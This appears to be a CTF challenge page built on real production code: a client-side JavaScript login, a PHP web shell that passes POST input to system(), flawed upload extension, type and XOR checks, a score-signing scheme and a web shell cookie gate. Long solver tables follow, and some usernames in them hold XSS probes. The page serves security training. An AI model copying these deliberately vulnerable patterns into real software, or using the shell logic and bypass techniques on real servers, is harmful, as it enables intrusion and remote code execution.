I think CTFs are great but sometimes the challenges can feel a bit made up (LiveOverflow has great video on this! CTFs are TERRIBLE!). Therefore I made "Real Sec CTF" where all the challenges are based on real code that was used in production! The vulnerabilities presented here are all reported, fixed or not in use anymore. I plan to add my own write-ups to these but right now there are no solutions published on this page.
If you have any interesting security vulnerabilities that you've found in the wild and want to share, just let me know!
2022-08-20 - Now we have a scoreboard! :) The order for people with the same number of solves is arbitrary.
2022-03-25 - Wow! Great job Q on solving all the original seven challenges!
| Username | Solves |
|---|---|
| PotatoKingTheVII | 12 |
| Peptski | 12 |
| Q | 12 |
| samkaj | 12 |
| ludde | 12 |
| corgo | 12 |
| Assured | 11 |
| har-ee | 11 |
| TITANPOINTE | 10 |
| Saile | 10 |
Trying to write a login with only JavaScript, without any communication to server-side code, might seem impossible. Anyone can inspect the code to check the password or simply jump to the "successful" login function. However, I think this solution was pretty clever!
function login() {
var pw = document.getElementById('login').value;
var prod = 1;
for(var i = 0; i < pw.length; i++) {
prod *= pw.charCodeAt(i);
}
if( prod == 19811137522176000 ) {
window.location = pw + ".php";
}
}
Only if prod matches a seemingly magic number will we jump to the correct PHP file.
Update 2021-02-09: Thanks to GoldFish for finding the
original article
(also mentioned here)
that explains how to implement this "encryption".
I've changed the password to mitigate searching for the answer, the password strength
remains the same. I should add that when I first found this "encryption" it was used
on a live production website!
Solvers:
| Username | Date |
|---|---|
| GoldFish | 2021-02-08 20:00:12 |
| Dubrefjord | 2021-05-12 09:01:33 |
| tihanyin | 2021-06-09 19:51:10 |
| grocid | 2021-08-28 18:24:19 |
| yoda | 2022-03-21 14:35:52 |
| Peptski | 2022-03-21 16:42:55 |
| DZ | 2022-03-21 17:34:21 |
| Q | 2022-03-21 21:10:29 |
| φ | 2022-03-22 17:51:49 |
| saga | 2022-03-24 01:17:33 |
| dani | 2022-03-24 01:19:31 |
| <script>alert("Intel® HD Graphics")&l ... | 2022-03-26 20:49:28 |
| nightmorning | 2022-03-28 21:45:47 |
| 192 | 2022-03-29 15:59:10 |
| Intel® HD Graphics | 2022-04-01 19:24:37 |
| Assured | 2022-04-28 22:27:33 |
| Steget | 2022-05-11 11:12:12 |
| dab | 2022-05-11 11:12:14 |
| PotatoKingTheVII | 2022-06-17 14:14:35 |
| TITANPOINTE | 2022-08-19 09:04:51 |
| corgo | 2022-08-29 22:31:57 |
| 727 | 2022-09-21 21:11:17 |
| har-ee | 2022-11-03 00:14:35 |
| Grybto | 2022-11-29 15:07:50 |
| epistemologist | 2023-01-04 23:43:33 |
| ludde | 2023-03-20 11:58:37 |
| shyhungalpha | 2023-03-20 21:40:12 |
| alax | 2023-04-02 08:10:57 |
| PeterPan | 2023-04-04 15:04:04 |
| Saile | 2024-05-09 21:02:40 |
| samkaj | 2024-12-30 15:13:04 |
| j | 2025-03-30 13:35:45 |
| user | 2025-05-05 18:51:32 |
This is something I found in a PHP malware, a shell to be specific.
Attackers would upload this to a vulnerable server giving them remote code execution capabilities.
To protect their shell from other attackers they have a password check and
like true security experts they store the password hashed,
or at least part of it? Hmm...
They also know that MD5 is weak so they add an extra layer of SHA1.
if(substr(sha1(md5($_POST['pw'])),36)=='222f') {
system($_POST['code']);
}If you think this was easy you can head over to Hash Game for some tougher hashing challenges. For more on PHP shells you can checkout my blog post Improving web shells with asymmetric encryption .
Solvers:
| Username | Date |
|---|---|
| GoldFish | 2021-02-08 18:05:07 |
| SimonGoater | 2021-04-07 16:54:39 |
| Dubrefjord | 2021-05-12 13:13:08 |
| tihanyin | 2021-06-09 20:04:28 |
| grocid | 2021-08-28 18:32:54 |
| caark | 2022-03-17 04:03:53 |
| Q | 2022-03-22 10:15:34 |
| Peptski | 2022-03-22 10:18:29 |
| φ | 2022-03-22 18:25:58 |
| yoda | 2022-03-25 17:48:38 |
| dani | 2022-03-25 18:46:43 |
| Intel® HD Graphics | 2022-03-26 21:06:15 |
| nightmorning | 2022-03-28 23:09:48 |
| Assured | 2022-04-28 22:48:47 |
| dab | 2022-05-11 11:38:01 |
| Steget | 2022-05-11 11:43:07 |
| PotatoKingTheVII | 2022-06-17 14:30:19 |
| TITANPOINTE | 2022-08-18 21:05:44 |
| corgo | 2022-08-29 22:49:00 |
| go | 2022-09-06 03:01:22 |
| 727 | 2022-09-21 21:12:06 |
| har-ee | 2022-11-02 22:03:15 |
| Grybto | 2022-11-29 15:42:33 |
| epistemologist | 2023-01-05 00:02:12 |
| ludde | 2023-03-20 12:05:41 |
| shyhungalpha | 2023-03-20 21:59:35 |
| alax | 2023-04-03 12:22:17 |
| PeterPan | 2023-04-13 11:04:19 |
| omstaendlig | 2024-03-03 08:17:59 |
| Saile | 2024-05-09 21:07:06 |
| kalleballe | 2024-05-13 14:44:18 |
| s | 2024-05-13 14:56:32 |
| rest | 2024-10-30 14:41:10 |
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... | 2024-10-30 14:41:52 |
| ^ super sorry about that, was testing your length limits.. | 2024-10-30 14:42:18 |
| samkaj | 2024-12-30 16:01:31 |
| alphacentauri | 2025-01-25 09:45:29 |
| j | 2025-03-31 14:58:56 |
Crypto people are really smart, no surprise, but they are also very business savvy. As soon as someone comes up with a brilliant crypto system they scream "Don't roll your own crypto!", keeping the market to themselves.
"No more!" said this developer and rolled their own crypto. Are the crypto people right again? Can you crack it?
It was all packed nicely as HTML+JavaScript with a nice popup for the password: denisa.html (The code does not initialize any external network communication)
Below is a snippet of the crypto code responsible for the decryption. It's not enough to solve the challenge but might present some weaknesses.
passnum = orig.length % password.length;
for(i=orig.length-1; i>=0; i--) {
passnum--;
if (passnum == -1) passnum = password.length - 1;
pos1 = i;
pos2 = i + password[passnum];
if (pos2 >= orig.length) continue;
char1 = orig[pos1];
char2 = orig[pos2];
orig[pos2] = char1;
orig[pos1] = char2;
}
orig1 = "";
for(i=0;i<orig.length;i++) {
orig1 = orig1 + orig[i];
}
orig1 = orig1.replace(/mmm/g,"\r\n");
Solvers:
| Username | Date |
|---|---|
| Q | 2022-03-22 15:42:04 |
| Peptski | 2022-03-26 16:24:59 |
| φ | 2022-03-26 23:32:29 |
| Intel® HD Graphics | 2022-03-29 13:41:45 |
| Assured | 2022-05-14 20:30:09 |
| PotatoKingTheVII | 2022-06-17 21:00:17 |
| ludde | 2023-03-20 12:42:26 |
| Corgo | 2023-04-24 00:56:39 |
| labas | 2025-04-02 15:18:18 |
| hao honey | 2025-04-08 12:25:20 |
| samkaj | 2025-04-24 08:49:00 |
You're playing a really hard flappy bird JavaScript clone and you really want to impress your crush with a nice high score. However, you are terrible at the game. Luckily you are better at reverse engineering and cryptography!
At the end of the game, the client sends three values to the server, score, time and the key, where key is calculated as:
key = md5(secretString + score + time) The secretString is a shared secret between the client and server. But due to
some amazing obfuscation work, you do not know the value of secretString.
You can further assume that secretString is a long random string that cannot be bruteforced.
First time you played the game it took over 5 minutes (345 seconds) to get a score of 12. Resulting in the following request:
Can you modify the request to get over 100 points?
Solvers:
| Username | Date |
|---|---|
| grocid | 2021-08-28 18:34:10 |
| GoldFish | 2021-11-20 15:54:43 |
| Peptski | 2022-03-21 18:07:17 |
| Q | 2022-03-22 11:32:13 |
| φ | 2022-03-23 18:17:41 |
| Intel® HD Graphics | 2022-03-28 15:55:48 |
| nightmorning | 2022-03-29 07:34:32 |
| Assured | 2022-05-09 23:07:35 |
| PotatoKingTheVII | 2022-06-17 15:45:49 |
| TITANPOINTE | 2022-08-22 16:30:11 |
| h | 2022-11-02 02:07:58 |
| har-ee | 2022-11-02 21:47:25 |
| ludde | 2023-03-20 12:43:20 |
| monk | 2023-03-22 03:26:54 |
| divisionby0 | 2023-03-22 15:02:55 |
| alax | 2023-04-03 12:37:43 |
| Corgo | 2023-04-24 00:00:48 |
| Mary P0ppins | 2023-05-27 15:26:18 |
| Simon Goater | 2023-07-22 12:37:47 |
| alphac | 2024-03-26 21:05:33 |
| Saile | 2024-05-10 12:52:32 |
| kalleballe | 2024-05-13 15:04:29 |
| j | 2025-03-31 15:13:13 |
| samkaj | 2025-04-02 13:41:42 |
| ' | 2025-05-16 20:37:22 |
| <!DOCTYPE html> <html lang="en"> <head ... | 2025-05-16 20:40:46 |
| '<!DOCTYPE html><script src="https://beneri.s ... | 2025-05-16 20:42:46 |
| '/... | 2025-05-16 20:44:02 |
| \... | 2025-05-16 20:44:30 |
| {username} | 2025-05-16 20:47:36 |
| {user} | 2025-05-16 20:48:00 |
| 2025-05-17 05:26:36 |
Picking a good photo for your dating profile is tricky. You need to think about lightning, background, etc. But perhaps most important is the file extension. A classic .jpg? A transparent .png? Or maybe a funny .gif? Perhaps a .php file? 😈
Well, this site only allows a few extensions, as can be seen in the validation code below:
$filename = basename($_FILES["file"]["name"]);
$ext = explode(".", $filename)[1];
if( !($ext == "jpg" || $ext == "png" || $ext == "gif") ) {
die("Only jpg, png and gif are allowed!");
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| SimonGoater | 2021-07-16 13:18:19 |
| Augmenta<script>alert("your solution for challenge 1 ... | 2021-09-06 03:35:44 |
| x | 2021-09-06 04:30:36 |
| Goldfish | 2021-11-20 15:58:57 |
| Peptski | 2022-03-21 18:09:44 |
| Q | 2022-03-22 11:35:45 |
| φ | 2022-03-23 18:54:45 |
| Intel® HD Graphics | 2022-03-28 15:58:23 |
| nightmorning | 2022-03-29 07:39:01 |
| Koftan | 2022-03-31 21:51:42 |
| ph.mikey | 2022-04-15 21:52:06 |
| Assured | 2022-05-09 23:40:56 |
| GreenPenguin | 2022-05-11 11:58:38 |
| Steget | 2022-05-11 12:00:12 |
| dab | 2022-05-11 12:38:27 |
| PotatoKingTheVII | 2022-06-17 14:37:46 |
| TITANPOINTE | 2022-08-18 21:20:17 |
| corgo | 2022-08-29 22:52:20 |
| 727 | 2022-09-21 21:13:03 |
| har-ee | 2022-11-02 21:48:49 |
| Grybto | 2022-12-01 12:57:21 |
| ludde | 2023-03-20 12:51:12 |
| Nonzero | 2023-03-20 14:33:21 |
| shyhungalpha | 2023-03-20 22:22:40 |
| AT | 2023-03-23 23:49:12 |
| LS | 2023-03-28 07:37:28 |
| F | 2023-03-28 08:19:45 |
| alax | 2023-04-03 12:49:21 |
| Bear | 2023-04-26 08:57:44 |
| Ziyan | 2023-04-27 12:36:58 |
| bloop | 2023-05-09 17:51:42 |
| leo | 2023-05-11 13:04:06 |
| Mary P0ppins | 2023-05-11 15:52:29 |
| hi | 2023-05-12 14:52:18 |
| test456 | 2023-05-18 18:30:09 |
| test123 | 2023-05-18 18:32:45 |
| pinekiller | 2023-05-18 19:10:55 |
| test1 | 2023-05-22 11:45:13 |
| aafan | 2023-05-26 10:10:52 |
| Pansy | 2023-05-26 10:11:34 |
| pågjøvikharvidetbra | 2023-05-26 10:14:47 |
| ehsun | 2023-10-11 14:44:53 |
| omstaendlig | 2024-03-03 08:21:28 |
| alphac | 2024-03-25 20:40:26 |
| ahlinder | 2024-04-11 11:28:17 |
| encryption | 2024-04-22 09:24:11 |
| ali | 2024-04-22 09:24:42 |
| William | 2024-04-22 13:51:06 |
| Jacob | 2024-04-23 12:09:53 |
| theAndrew | 2024-04-29 06:31:45 |
| Deaa | 2024-04-30 02:03:43 |
| KodakDaniel | 2024-05-06 06:40:06 |
| omar | 2024-05-06 09:00:33 |
| kalleballe | 2024-05-08 09:02:25 |
| group31 | 2024-05-08 12:08:56 |
| solobolo | 2024-05-08 14:54:23 |
| HannesRL | 2024-05-08 17:05:48 |
| hello | 2024-05-09 08:57:07 |
| pg | 2024-05-09 08:57:18 |
| kris | 2024-05-09 14:06:09 |
| Svenjamin | 2024-05-09 15:40:49 |
| Hello World | 2024-05-09 16:49:16 |
| s | 2024-05-09 17:57:34 |
| Seffel | 2024-05-09 19:28:31 |
| Saile | 2024-05-09 22:44:24 |
| Tester | 2024-05-10 09:02:07 |
| Erra | 2024-05-10 11:25:06 |
| tknz | 2024-05-10 11:30:39 |
| yunpeng | 2024-05-10 11:54:11 |
| a | 2024-05-10 11:58:08 |
| liang | 2024-05-10 14:06:52 |
| nerding-on-a-friday | 2024-05-10 20:44:48 |
| forsen | 2024-05-15 04:44:42 |
| Cccc | 2024-05-23 11:49:40 |
| L | 2024-05-28 21:36:45 |
| samkaj | 2024-11-12 21:00:00 |
| notjack | 2025-01-25 09:44:04 |
| nameelast | 2025-02-18 18:11:22 |
| jkjkkh | 2025-02-18 18:29:29 |
| 平行六面体 | 2025-03-29 22:17:04 |
| j | 2025-03-31 15:15:25 |
| Gustavus Adolphus | 2025-04-01 10:16:37 |
| Skapa en sömlös gräns mellan din interiör oc ... | 2025-04-16 12:55:13 |
| ??? | 2025-04-26 06:54:33 |
| variably243 | 2025-05-01 16:30:57 |
| Albin | 2025-05-05 18:23:33 |
| bingbong | 2025-05-07 15:35:21 |
| laban | 2025-05-08 06:49:17 |
| hackerman | 2025-05-08 10:38:50 |
| rachel | 2025-05-08 18:28:19 |
| Moltas | 2025-05-09 08:26:16 |
| ys | 2025-05-10 07:54:50 |
| yeehaw123 | 2025-05-12 11:00:45 |
| Like A G6 | 2025-05-12 18:29:09 |
| 神秘方块字 | 2025-05-13 20:31:24 |
| Zito | 2025-05-15 08:10:09 |
| Thefez | 2025-05-15 13:33:00 |
| Johan | 2025-05-15 15:34:17 |
| shradha | 2025-05-16 19:15:16 |
| gakbwhivbahwibihaevbiawebvibeawvhiawihvbahiwebviabwvbawhiv | 2025-05-17 16:39:11 |
| 哥布林 | 2025-05-17 19:16:10 |
| sanoverflow | 2025-05-18 11:17:46 |
| YZLong | 2025-05-18 13:46:22 |
| TDA602_Group_66 | 2025-05-18 17:59:33 |
| 602G92 | 2025-05-19 14:36:40 |
| Agnes | 2025-05-19 16:25:56 |
| cat | 2025-05-20 01:05:22 |
| test | 2025-05-20 09:28:07 |
| T | 2025-05-20 17:51:07 |
| Copernicus | 2025-05-20 18:31:52 |
| ggbond | 2025-05-20 21:59:28 |
| Ning | 2025-05-21 06:13:36 |
| asasasa | 2025-05-21 06:36:15 |
| lucas | 2025-05-21 06:36:31 |
| skunken | 2025-05-21 07:45:38 |
| NazTheDont | 2025-05-21 08:06:35 |
| OOOLOF | 2025-05-21 12:07:46 |
| G74 | 2025-05-21 12:48:52 |
| rikar | 2025-05-21 12:51:56 |
| rikare | 2025-05-21 13:17:55 |
| JMJ | 2025-05-21 14:20:46 |
| group86 | 2025-05-21 17:48:18 |
| Quiz | 2025-05-21 19:19:44 |
| Adam | 2025-05-21 19:59:16 |
| 2025-05-21 20:06:35 | |
| iknek | 2025-05-25 11:00:30 |
| group94 | 2025-05-29 10:37:23 |
After breaking the extension check in the previous challenge, the developers decided to skip the extension check and instead go for a solid and secure type check.
The code below is used to block any non-image upload:
$type = $_FILES['file']['type'];
if( !($type == "image/jpeg" || $type == "image/png" || $type == "image/gif") ) {
die("Wrong file type, only images allowed!");
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| Augmenta | 2021-09-06 03:40:30 |
| Q | 2022-03-22 12:19:16 |
| φ | 2022-03-23 19:49:33 |
| Peptski | 2022-03-25 17:21:59 |
| Intel® HD Graphics | 2022-03-28 16:26:20 |
| nightmorning | 2022-03-30 11:27:25 |
| PotatoKingTheVII | 2022-06-17 15:00:01 |
| TITANPOINTE | 2022-08-19 07:27:57 |
| Assured | 2022-08-23 20:47:03 |
| har-ee | 2022-11-02 21:52:24 |
| Grybto | 2022-12-06 10:05:51 |
| ludde | 2023-03-20 12:57:56 |
| AT | 2023-03-24 16:10:48 |
| AN | 2023-03-24 16:27:49 |
| shyhungalpha | 2023-03-27 19:12:39 |
| LS | 2023-03-28 08:50:33 |
| F | 2023-03-28 09:11:26 |
| alax | 2023-04-04 14:24:25 |
| Corgo | 2023-04-24 00:01:58 |
| Bear | 2023-04-26 10:00:19 |
| Ziyan | 2023-04-27 19:24:05 |
| WOOP | 2023-05-09 15:51:18 |
| g | 2023-05-09 15:52:25 |
| bloop | 2023-05-09 19:22:35 |
| mr hackerman | 2023-05-09 19:23:27 |
| leo | 2023-05-11 14:51:02 |
| Mary P0ppins | 2023-05-11 16:44:46 |
| wizzer | 2023-05-18 14:09:15 |
| firefox | 2023-05-18 17:31:57 |
| pinekiller | 2023-05-18 20:22:54 |
| test111222 | 2023-05-22 07:18:10 |
| ehsun | 2023-10-11 15:04:59 |
| alphac | 2024-03-26 15:00:49 |
| ahlinder | 2024-04-19 12:15:38 |
| William | 2024-04-23 10:37:01 |
| Test | 2024-04-23 10:38:39 |
| Test2 | 2024-04-23 11:10:48 |
| Jacob | 2024-04-23 13:22:27 |
| Ali | 2024-04-23 18:06:33 |
| test11 | 2024-05-03 17:48:15 |
| Deaa | 2024-05-04 16:47:06 |
| KodakDaniel | 2024-05-06 06:46:07 |
| yunpeng | 2024-05-06 20:13:47 |
| 0PNG | 2024-05-07 17:51:26 |
| kalleballe | 2024-05-08 09:32:27 |
| sylt | 2024-05-08 12:39:31 |
| grp31 | 2024-05-08 13:03:58 |
| TEEST | 2024-05-08 13:57:13 |
| tr | 2024-05-08 13:59:12 |
| pg | 2024-05-09 09:09:36 |
| tim | 2024-05-09 11:11:13 |
| yessir | 2024-05-09 15:41:49 |
| Svenjamin | 2024-05-09 16:43:46 |
| Seffel | 2024-05-09 21:04:09 |
| Saile | 2024-05-09 22:50:44 |
| kris | 2024-05-10 07:55:47 |
| 58 | 2024-05-10 08:41:58 |
| halli | 2024-05-10 08:56:25 |
| Erra | 2024-05-10 12:09:19 |
| tknz | 2024-05-10 13:06:13 |
| a | 2024-05-10 13:59:55 |
| b | 2024-05-10 14:26:26 |
| liang | 2024-05-10 14:29:00 |
| Tester | 2024-05-10 15:54:47 |
| mmmm | 2024-05-10 17:13:10 |
| wwwww | 2024-05-10 17:26:10 |
| nerding-on-a-friday | 2024-05-11 12:58:53 |
| nerding-on-a-saturday | 2024-05-11 13:11:26 |
| forsen | 2024-05-15 05:39:21 |
| eric2 | 2024-05-21 07:19:47 |
| eric3 | 2024-05-21 07:23:08 |
| Hello World | 2024-05-21 10:51:47 |
| Test1 | 2024-05-30 14:48:47 |
| L | 2024-05-30 17:47:37 |
| gr33 | 2024-05-30 22:11:52 |
| MA | 2024-06-12 12:54:13 |
| MAA | 2024-06-12 13:14:07 |
| samkaj | 2024-11-13 07:32:36 |
| testname | 2024-11-16 12:50:20 |
| Anajrim | 2025-02-18 19:48:00 |
| AliShereef | 2025-03-01 21:01:07 |
| sLmbS | 2025-03-29 23:30:29 |
| 平行六面体 | 2025-03-29 23:35:01 |
| labas | 2025-04-01 01:02:10 |
| Gustavus Adolphus | 2025-04-01 10:25:44 |
| I. The Burial of the Dead April is the cruellest month, breedin ... | 2025-04-16 13:35:21 |
| ??? | 2025-04-27 14:34:05 |
| 2025-04-27 14:36:27 | |
| lbs | 2025-04-28 06:01:49 |
| variably243 | 2025-05-02 09:55:12 |
| Robin | 2025-05-05 19:15:54 |
| GLOBBY | 2025-05-05 19:18:49 |
| bingbong | 2025-05-07 16:32:54 |
| laban | 2025-05-08 07:25:06 |
| Albin | 2025-05-08 10:19:34 |
| rachel | 2025-05-08 18:41:57 |
| Moltas | 2025-05-09 08:54:03 |
| Lippo | 2025-05-09 09:29:41 |
| ys | 2025-05-11 13:54:38 |
| yourname | 2025-05-12 18:53:01 |
| Like A G6 | 2025-05-12 19:21:59 |
| 神秘方块字 | 2025-05-13 20:52:39 |
| Zito | 2025-05-15 12:06:31 |
| Johan | 2025-05-15 16:20:20 |
| shradha | 2025-05-16 19:31:50 |
| 哥布林 | 2025-05-17 20:21:23 |
| YZLong | 2025-05-18 11:13:15 |
| sanoverflow | 2025-05-18 13:40:03 |
| thefez | 2025-05-18 15:39:58 |
| Agnes | 2025-05-19 17:03:25 |
| admin | 2025-05-19 17:22:00 |
| cat | 2025-05-20 01:50:36 |
| taffy | 2025-05-20 13:51:50 |
| T | 2025-05-20 18:12:46 |
| Copernicus | 2025-05-20 20:07:36 |
| ggbond | 2025-05-20 22:57:35 |
| NazTheDon | 2025-05-21 08:53:37 |
| Group73 | 2025-05-21 10:55:36 |
| Group733333 | 2025-05-21 11:00:43 |
| group82 | 2025-05-21 12:24:11 |
| OOOLOF | 2025-05-21 13:15:21 |
| rikar | 2025-05-21 13:20:43 |
| G74 | 2025-05-21 13:50:46 |
| Ivrsson | 2025-05-21 14:32:28 |
| ivar | 2025-05-21 14:38:51 |
| ivarsson | 2025-05-21 14:40:33 |
| JMJ | 2025-05-21 14:41:58 |
| 2025-05-21 16:52:19 | |
| L_shell | 2025-05-21 17:07:04 |
| group86 | 2025-05-21 17:47:30 |
| HanZhou | 2025-05-21 20:33:06 |
| Quiz | 2025-05-21 20:53:32 |
| iknek | 2025-05-25 11:35:50 |
| group94 | 2025-05-29 11:42:04 |
| adam | 2025-05-30 09:39:20 |
Apparently it's very hard to implement a nice check for blocking uploading PHP files. Some developers probably thought "upload whatever you want, we'll just encrypt it so it can't execute.".
I can add that when I found this there were already a few malicious PHP files that had been uploaded. But none of them had "bypassed" the encryption. So maybe it does work?
The code below is used to encrypt the upload:
function xor_encrypt($data, $k0, $k1, $k2, $k3, $k4, $k5) {
$key = Array($k0, $k1, $k2, $k3, $k4, $k5);
$len = strlen($data);
for ($i = 0; $i < $len; $i++) {
$data[$i] = chr(ord($data[$i]) ^ ord($xor_key[$i % 6]));
}
return $data;
}
save($filename, xor_encrypt($data, 'b', 'e', 'n', 'e', 'r', 'i'));
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| grocid | 2021-08-28 18:37:23 |
| Goldfish | 2021-12-22 18:20:05 |
| Peptski | 2022-03-22 09:47:05 |
| Q | 2022-03-22 13:32:18 |
| φ | 2022-03-23 20:00:56 |
| Intel® HD Graphics | 2022-03-28 16:35:28 |
| nightmorning | 2022-03-30 13:25:12 |
| Koftan | 2022-03-31 21:43:19 |
| Assured | 2022-05-10 00:44:46 |
| PotatoKingTheVII | 2022-06-17 15:07:48 |
| TITANPOINTE | 2022-08-24 11:29:58 |
| har-ee | 2022-11-02 22:23:21 |
| 2022-12-01 16:42:35 | |
| ludde | 2023-03-20 13:00:58 |
| Corgo | 2023-04-24 00:03:26 |
| pinekiller | 2023-05-18 20:41:44 |
| Simon Goater | 2023-05-24 15:12:05 |
| ehsun | 2023-10-12 07:28:52 |
| alphac | 2024-03-26 20:36:12 |
| Saile | 2024-05-10 13:04:50 |
| KodakDaniel | 2024-09-14 15:12:46 |
| labas | 2025-04-01 02:24:13 |
| samkaj | 2025-04-03 07:23:17 |
| G74 | 2025-05-21 14:12:27 |
I was recently attacked by hackers from TAPESH-TEAM. In their attack, they tried to upload a web shell to my server. To ensure that other hackers won't be able to use the shell they add a password. However, I think they skipped their security courses. Can you gain access to the shell? Open TAPESH-SHELL-v1.0.php Source: TAPESH-SHELL-v1.0.php.txt. Original available on GitHub (no spoilers).
Once you get access the flag will be of the form realsec{...}.
Below is the core logic for the password check. You do not know the value of "SECRET".
if(!isset($_COOKIE['TapeshPassword']))
{
setcookie('TapeshPassword',md5("SECRET"),time() + (86400 * 30));
}
@$password = $_POST['password'];
if(@$_COOKIE['TapeshPassword'] == md5($password))
{
setcookie('Tapeshlog','true',time() + (86400 * 30));
}
else
{
if(!isset($_COOKIE['Tapeshlog'])
|| $_COOKIE['Tapeshlog']=="false"
|| !isset($_COOKIE['Tapeshlog']))
{
$Eform='<form method="post"><input type="password" name="password"></form>';
echo "...You don't have permission to access...";
exit;
}
}
FLAGSolvers:
| Username | Date |
|---|---|
| φ | 2022-03-25 10:08:48 |
| Q | 2022-03-25 16:34:13 |
| Peptski | 2022-03-25 17:29:32 |
| nightmorning | 2022-03-30 13:38:23 |
| Koftan | 2022-03-31 20:53:04 |
| Intel® HD Graphics | 2022-04-01 19:22:58 |
| Assured | 2022-05-10 14:34:34 |
| PotatoKingTheVII | 2022-06-17 21:32:42 |
| TITANPOINTE | 2022-08-23 21:42:13 |
| har-ee | 2022-11-02 22:00:00 |
| Grybto | 2022-12-01 12:41:39 |
| ludde | 2023-03-20 13:05:18 |
| AT | 2023-03-24 17:39:51 |
| LS | 2023-03-28 08:11:14 |
| F | 2023-03-28 08:43:23 |
| alax | 2023-04-04 14:47:52 |
| Corgo | 2023-04-24 00:07:49 |
| Bear | 2023-04-26 10:24:48 |
| g | 2023-05-09 14:43:17 |
| bloop | 2023-05-09 19:31:51 |
| mr hackerman | 2023-05-09 19:33:17 |
| leo | 2023-05-11 15:52:12 |
| Mary P0ppins | 2023-05-11 17:23:11 |
| :D | 2023-05-18 18:03:37 |
| pinekiller | 2023-05-18 20:44:57 |
| mad | 2023-05-19 10:58:13 |
| x | 2023-05-22 14:17:55 |
| ehsun | 2023-10-11 15:18:16 |
| alphac | 2024-03-26 13:17:57 |
| ahlinder | 2024-04-18 07:48:15 |
| pc | 2024-04-18 07:54:58 |
| Ali | 2024-04-22 09:50:24 |
| William | 2024-04-23 13:43:49 |
| Deaa | 2024-04-30 02:51:17 |
| omar | 2024-05-06 09:50:15 |
| yunpeng | 2024-05-06 20:33:53 |
| teh | 2024-05-07 18:45:42 |
| sylt | 2024-05-08 08:58:52 |
| Jacob | 2024-05-08 09:09:46 |
| kalleballe | 2024-05-08 09:47:19 |
| pg | 2024-05-08 11:35:20 |
| group31 | 2024-05-08 13:15:33 |
| tim | 2024-05-09 11:29:08 |
| Svenjamin | 2024-05-09 17:00:06 |
| kris | 2024-05-09 17:46:54 |
| dd | 2024-05-09 18:02:53 |
| yessir | 2024-05-09 18:15:00 |
| test | 2024-05-09 18:18:56 |
| Seffel | 2024-05-09 20:25:25 |
| Saile | 2024-05-09 22:58:41 |
| Erra | 2024-05-10 12:05:58 |
| s | 2024-05-10 12:54:03 |
| seeb | 2024-05-10 14:17:35 |
| HannesRL | 2024-05-10 14:20:15 |
| eric | 2024-05-10 15:17:29 |
| Tester | 2024-05-10 15:25:20 |
| liang | 2024-05-10 16:07:56 |
| a | 2024-05-10 16:47:59 |
| Hello World | 2024-05-10 19:28:02 |
| nerding-on-a-friday | 2024-05-10 21:30:12 |
| forsen | 2024-05-15 05:58:28 |
| Cccc | 2024-05-24 13:31:13 |
| Vermin | 2024-05-30 15:53:41 |
| L | 2024-05-30 18:53:39 |
| g-33 | 2024-05-30 22:15:52 |
| MA | 2024-06-20 09:36:52 |
| KodakDaniel | 2024-09-14 15:05:58 |
| samkaj | 2024-11-13 07:51:36 |
| Anajrim | 2025-02-18 20:04:56 |
| AliShereef | 2025-03-01 21:10:00 |
| 平行六面体 | 2025-03-29 15:57:16 |
| Gustavus Adolphus | 2025-04-01 10:41:21 |
| j | 2025-04-01 15:15:51 |
| dfweqfw | 2025-04-16 14:44:47 |
| ??? | 2025-04-29 11:36:20 |
| variably243 | 2025-05-02 10:42:39 |
| GLOBBY | 2025-05-06 11:29:52 |
| realsec{ALBIN} | 2025-05-08 10:53:22 |
| hackerman | 2025-05-08 12:02:43 |
| bingbong | 2025-05-08 17:38:04 |
| rachel | 2025-05-08 18:56:03 |
| Moltas | 2025-05-09 12:34:25 |
| Lippo | 2025-05-09 12:40:04 |
| yeehaw123 | 2025-05-12 12:11:53 |
| Like A G6 | 2025-05-12 19:13:45 |
| 神秘方块字 | 2025-05-13 21:06:13 |
| Zito | 2025-05-15 09:05:40 |
| Johan | 2025-05-15 16:36:55 |
| shradha | 2025-05-16 20:09:25 |
| 哥布林 | 2025-05-17 22:23:44 |
| YZLong | 2025-05-18 12:05:42 |
| sanoverflow | 2025-05-18 12:55:57 |
| TheFez | 2025-05-18 16:01:04 |
| Agnes | 2025-05-19 17:52:28 |
| me | 2025-05-19 17:52:49 |
| admin | 2025-05-19 17:54:06 |
| 永雏塔菲 | 2025-05-19 20:38:04 |
| 2025-05-20 12:32:55 | |
| T | 2025-05-20 18:28:45 |
| Copernicus | 2025-05-20 21:53:32 |
| Ning | 2025-05-21 09:09:02 |
| NazTheDon | 2025-05-21 10:45:39 |
| laban | 2025-05-21 10:46:26 |
| OOOloff | 2025-05-21 13:47:36 |
| rikar | 2025-05-21 13:47:58 |
| ggbond | 2025-05-21 14:21:17 |
| JMJ | 2025-05-21 15:10:11 |
| emmanade | 2025-05-21 17:15:41 |
| G74 | 2025-05-21 17:21:37 |
| L_shell | 2025-05-21 19:13:54 |
| hanzhou | 2025-05-21 20:47:28 |
| group86 | 2025-05-21 21:15:43 |
| Quiz | 2025-05-22 10:06:03 |
| iknek | 2025-05-25 11:35:13 |
| group94 | 2025-05-29 11:59:13 |
In this challenge, you have access to your files homework.txt and food.txt. However, the target has a juicy file called flag.txt. Sadly, we don't have permission to read it. Can you still get it?
I first saw (and reported) this problem on a Swedish course management system that is very popular with Universities. It wasn't until I saw it again on a very different type of website that I decided it could be worth sharing.
Once you get access the flag will be of the form realsec{...}.
Solvers:
| Username | Date |
|---|---|
| TITANPOINTE | 2022-08-20 21:25:24 |
| Assured | 2022-08-22 23:14:50 |
| PotatoKingTheVII | 2022-08-29 20:03:31 |
| codewarrior0 | 2022-08-29 20:16:10 |
| corgo | 2022-08-29 21:00:47 |
| φ | 2022-10-31 04:21:06 |
| har-ee | 2022-11-02 21:47:06 |
| Grybto | 2022-12-01 14:08:20 |
| Q | 2023-03-20 08:39:23 |
| Peptski | 2023-03-20 11:53:54 |
| ludde | 2023-03-20 13:07:27 |
| AT | 2023-03-24 17:56:34 |
| LS | 2023-03-28 08:15:27 |
| F | 2023-03-28 09:36:36 |
| alax | 2023-04-04 15:32:35 |
